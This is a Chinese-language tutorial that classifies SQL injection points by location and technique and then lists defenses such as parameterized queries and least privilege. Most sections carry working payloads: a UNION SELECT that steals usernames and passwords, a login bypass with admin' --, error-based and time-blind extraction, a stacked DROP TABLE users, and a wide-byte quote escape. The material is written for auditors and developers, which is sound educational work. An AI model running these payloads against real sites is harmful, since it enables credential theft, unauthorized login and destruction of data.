SQL注入是一种非常常见且危险的Web安全漏洞。攻击者通过将恶意的SQL代码插入到应用程序的输入参数中，欺骗后端数据库执行这些非预期的命令，从而可能窃取、篡改、删除数据或获得更高的系统权限。
以下是详细、准确的SQL注入点分类、说明及举例：
一、 按注入点位置分类
1. GET 参数注入
描述： 通过URL中的查询字符串（即
?后面的参数）进行注入。这些参数通常用于GET请求，如过滤、搜索、分页等。原理： 参数值被直接拼接到SQL查询中，未经过滤或转义。
举例：
正常URL：
https://example.com/products.php?id=1对应SQL：
SELECT * FROM products WHERE id = 1攻击URL：
https://example.com/products.php?id=-1' UNION SELECT username, password FROM users -- -最终SQL：
SELECT * FROM products WHERE id = -1' UNION SELECT username, password FROM users -- -解释：
id=-1确保原查询不返回结果，UNION SELECT用于窃取用户表数据，-- -用于注释掉原查询的剩余部分。
2. POST 参数注入
描述： 通过POST请求的正文（Body）进行注入。常见于登录表单、搜索框、注册等任何用户提交数据的场景。
原理： 与GET注入类似，只是数据通过请求体传输，不在URL中显示。
举例（登录表单）：
正常输入： 用户名
admin，密码secret对应SQL：
SELECT * FROM users WHERE username = 'admin' AND password = 'secret'恶意输入： 用户名
admin' --，密码任意值最终SQL：
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '任意值'解释：
--注释掉了密码验证部分，使攻击者能以admin身份登录，无需知道密码。
3. Cookie 注入
描述： 应用程序将Cookie值（如
user_id,session_id）直接用于数据库查询而未经验证。原理： 攻击者通过修改自己的Cookie值为恶意Payload来实现注入。
举例：
正常Cookie：
user_id=5对应SQL：
SELECT * FROM users WHERE user_id = 5恶意Cookie：
user_id=5 UNION SELECT @@version最终SQL：
SELECT * FROM users WHERE user_id = 5 UNION SELECT @@version解释： 攻击者通过修改Cookie，联合查询了数据库的版本信息。
4. HTTP 头部注入
描述： 应用程序将HTTP请求头部的值（如
User-Agent,X-Forwarded-For,Referer）记录到数据库或用于查询。原理： 攻击者在这些头部字段中构造恶意Payload。
举例（记录User-Agent到数据库）：
正常User-Agent：
Mozilla/5.0 ...对应SQL：
INSERT INTO access_log (user_agent) VALUES ('Mozilla/5.0 ...')恶意User-Agent：
Mozilla/5.0 ...', (SELECT @@version)) --最终SQL：
INSERT INTO access_log (user_agent) VALUES ('Mozilla/5.0 ...', (SELECT @@version)) -- ')解释： 攻击者将数据库版本信息注入到了
access_log表中。
二、 按注入技术（漏洞成因）分类
1. 基于联合查询（UNION-based）
描述： 利用
UNION或UNION ALL操作符将恶意查询结果附加到原始查询之后，从而在应用程序响应中直接显示数据。前提： 需要知道原始查询的列数（通过
ORDER BY或UNION SELECT NULL试探）以及各列的数据类型。举例： 如上文GET参数注入的例子。
2. 基于错误（Error-based）
描述： 故意构造Payload使数据库报错，并从错误信息中提取敏感数据（如数据库结构、数据内容）。即使页面不回显查询结果，但会回显错误信息时，此方法有效。
举例（MySQL）：
Payload:
id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --解释： 此Payload利用MySQL的
RAND()和GROUP BY子句制造一个重复键错误，并将@@version信息包含在错误信息中返回。
3. 基于布尔盲注（Boolean Blind）
描述： 当页面没有数据回显和错误回显，但会根据SQL查询结果为真或为假返回不同的页面状态（如“存在”/“不存在”、“正常”/“404”）时使用。
原理： 通过构造逻辑判断（如
AND 1=1,AND 1=2）观察页面差异，逐位（bit）猜测数据。举例（猜测数据库名长度）：
id=1' AND (SELECT LENGTH(database())) = 8 --如果页面返回正常，说明当前数据库名长度为8；如果返回异常（或无结果），则不是8。然后继续猜测每个字符是什么。
4. 基于时间盲注（Time Blind）
描述： 当页面没有任何回显（包括错误和布尔差异）时使用。通过构造Payload，根据查询条件的真假让数据库执行延时操作，通过观察页面响应时间来判断条件真假。
原理： 利用数据库的延时函数（如MySQL的
SLEEP(),BENCHMARK()，PostgreSQL的pg_sleep()）。举例（MySQL，猜测数据库名首字母）：
id=1' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --如果页面响应延迟了5秒，说明数据库名的第一个字母是'a'；否则不是。
5. 堆叠查询（Stacked Queries）
描述： 利用分号
;在一次数据库调用中执行多条SQL语句。这允许执行任意SQL命令，而不仅仅是查询。前提： 后端数据库驱动需要支持多语句执行（如PHP中的
mysqli_multi_query()，而mysql_query()不支持）。举例：
id=1'; DROP TABLE users; --解释： 此Payload会先执行原始查询，然后立即执行
DROP TABLE users语句删除用户表。
6. 二次注入（Second-Order）
描述： 一种更隐蔽的注入。恶意Payload首先被存储到数据库中（例如，在注册用户名时注入），当时并未触发。之后，当应用程序从数据库取出该数据并用于另一个SQL查询时，注入才被触发。
原理： 输入在第一次插入时可能被转义，但存储后被认为是“干净”的数据，第二次使用时未经过滤。
举例：
注册阶段： 攻击者注册一个用户，用户名为
admin' --插入SQL：
INSERT INTO users (username) VALUES ('admin'' -- ')(经过转义，安全)
后续操作： 管理员在后台查看用户列表，程序执行：
SELECT * FROM users WHERE username = 'admin' -- '解释： 从数据库取出的用户名
admin' --被直接拼接进新的查询，注释掉了后续条件，可能导致列出所有用户或其他敏感操作。
三、 其他特定场景的注入点
1. 搜索功能（LIKE子句）
描述： 搜索框通常使用
LIKE '%keyword%'，这里的引号和百分号是常见的注入点。举例：
正常输入：
appleSQL：
SELECT * FROM products WHERE name LIKE '%apple%'恶意输入：
%' UNION SELECT 1,2,3 --最终SQL：
SELECT * FROM products WHERE name LIKE '%%' UNION SELECT 1,2,3 -- %'
2. ORDER BY 子句注入
描述：
ORDER BY后面通常接列名或列索引，不能直接使用UNION。但可以利用IF语句或 CASE WHEN 进行盲注。举例（盲注）：
https://example.com/products?sort=IF(1=1, name, price)https://example.com/products?sort=IF((SELECT SUBSTRING(@@version,1,1))='5', name, price)解释： 通过
IF条件控制排序依据的列，观察排序结果的不同来判断条件真假。
3. 宽字节注入
描述： 主要针对使用GBK、BIG5等宽字符集的PHP应用程序。由于转义函数（如
addslashes或magic_quotes_gpc）和字符集编码配合不当，导致转义符\（%5C）被“吃掉”，从而使得单引号逃逸。原理： 攻击者输入一个特殊字符（如
%bf%27），%bf与转义符%5c组合成一个合法的宽字符（如縗），从而使后面的单引号%27成功逃逸。举例：
输入：
id=%bf%27转义后：
%bf%5c%27(PHP的addslashes将'转义为\'即%5c%27)数据库以GBK解码：
%bf%5c被解码为汉字“縗”，剩下的%27（单引号）则留在原地，成功闭合了查询。
总结与防御
防御原则（永远不要信任用户输入）：
使用参数化查询（预编译语句）： 这是最有效、根本的防御手段。将SQL代码与数据完全分离，用户输入永远被视为数据，而非代码。几乎所有编程语言和框架（如Java的PreparedStatement, PHP的PDO, Python的sqlite3）都支持。
使用ORM框架： 如Hibernate, Entity Framework，它们通常内置了参数化查询。
最小权限原则： 数据库账户不应拥有过高权限（如DROP, FILE权限）。
输入验证和过滤： 对输入进行严格的白名单验证（如只允许字母数字）。但绝不能仅依赖此方法。
转义： 如果万不得已必须拼接SQL，必须使用数据库特定的转义函数（如
mysql_real_escape_string），但要注意字符集问题（宽字节注入）。错误处理： 向用户展示友好的错误页面，而不是详细的数据库错误信息。
通过了解这些常见的注入点和攻击技术，开发者和安全人员可以更有针对性地进行代码审计和安全防护。
